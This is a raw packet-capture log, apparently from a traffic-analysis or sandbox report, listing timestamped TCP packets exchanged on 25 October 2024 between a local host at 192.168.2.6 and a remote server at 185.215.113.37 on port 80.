Oct 25, 2024 13:50:11.501444101 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.501487017 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.501487970 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.501522064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.501532078 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.501555920 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.501575947 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.501589060 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.501621962 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.501656055 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.501657009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.501744032 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.501744986 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.501779079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.501806974 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.501830101 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.501830101 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.501863956 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.501894951 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.501918077 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.501926899 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.501961946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.501976967 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.501995087 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.502008915 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.502028942 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.502043009 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.502083063 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.502100945 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.502150059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.502150059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.502183914 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.502232075 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.502264977 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.502295017 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.502299070 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.502334118 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.502361059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.555885077 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.555943012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.555975914 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.555984974 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.556015015 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.556042910 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.556076050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.556080103 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.556097984 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.556114912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.576416016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.576493979 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.576498032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.576544046 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.576545954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.576596022 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.576600075 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.576632023 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.576647043 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.576666117 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.576680899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.576699972 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.576711893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.576734066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.576747894 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.576773882 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.579030037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.579058886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.579087019 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.579124928 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.579221010 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.579271078 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.579273939 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.579325914 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.618973017 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619025946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619049072 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619060040 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619086027 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619093895 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619108915 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619128942 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619141102 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619175911 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619179964 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619215012 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619225979 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619250059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619261980 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619285107 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619297028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619332075 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619339943 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619384050 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619393110 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619422913 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619441032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619456053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619471073 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619493008 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619507074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619539976 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619563103 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619612932 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619615078 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619648933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619658947 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619683027 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619698048 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619731903 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619734049 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619767904 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619796038 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619801998 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619812965 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619834900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619847059 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619872093 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.619880915 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.619918108 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.673528910 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.673605919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.673644066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.673679113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.673696995 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.673713923 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.673738003 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.673748016 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.673760891 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.673793077 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.694240093 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.694269896 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.694303989 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.694308043 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.694351912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.694355965 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.694407940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.694407940 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.694442034 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.694464922 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.694475889 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.694484949 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.694510937 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.694520950 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.694544077 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.694555998 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.694581032 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.694591045 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.694616079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.694628000 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.694659948 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.696835041 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.696886063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.696890116 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.696919918 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.696937084 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.696986914 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736213923 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736291885 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736382008 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736412048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736435890 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736443996 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736460924 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736486912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736495018 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736530066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736543894 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736563921 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736578941 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736608028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736613989 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736649990 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736681938 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736682892 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736695051 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736725092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736732006 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736766100 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736778975 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736812115 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736814976 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736855984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736860991 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736901045 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736913919 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736957073 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.736963987 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.736998081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.737011909 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.737030983 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.737044096 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.737065077 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.737088919 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.737096071 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.737116098 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.737133980 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.737149954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.737178087 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.737184048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.737211943 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.737226963 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.737243891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.737248898 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.737279892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.737286091 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.737325907 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.737333059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.737370014 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.737380028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.737405062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.737416983 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.737446070 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.791045904 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.791100979 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.791121006 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.791131020 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.791147947 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.791177988 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.791182041 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.791217089 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.791229010 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.791251898 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.791260958 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.791311026 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.811822891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.811858892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.811891079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.811899900 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.811933994 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.811947107 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.811955929 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.811981916 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.812020063 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.812031031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.812062979 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.812072992 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.812079906 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.812114954 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.812131882 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.812148094 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.812172890 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.812180996 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.812194109 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.812215090 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.812230110 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.812248945 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.812263012 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.812292099 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.814213037 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.814241886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.814270020 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.814305067 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.853934050 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.853990078 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854023933 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854059935 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854088068 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854125977 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854173899 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854176044 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854211092 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854229927 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854244947 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854253054 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854291916 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854295969 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854345083 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854347944 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854381084 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854403973 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854414940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854427099 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854449987 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854459047 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854484081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854499102 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854523897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854531050 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854572058 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854573965 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854609013 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854629040 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854638100 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854659081 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854691029 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854695082 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854734898 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854744911 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854773998 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854799032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854867935 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854871035 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854904890 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854917049 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854954004 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.854958057 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.854994059 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.855007887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.855026960 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.855037928 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.855063915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.855072975 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.855098009 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.855114937 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.855130911 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.855143070 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.855173111 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.908699036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.908782959 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.908879995 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.908910036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.908929110 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.908943892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.908958912 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.908981085 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.908993959 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.909014940 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.909024954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.909058094 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.929318905 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.929369926 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.929395914 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.929399014 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.929416895 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.929431915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.929445028 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.929476023 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.929481983 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.929514885 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.929529905 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.929548979 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.929559946 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:11.929583073 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:11.929596901 CEST	49712	80	192.168.2.6	185.215.113.37
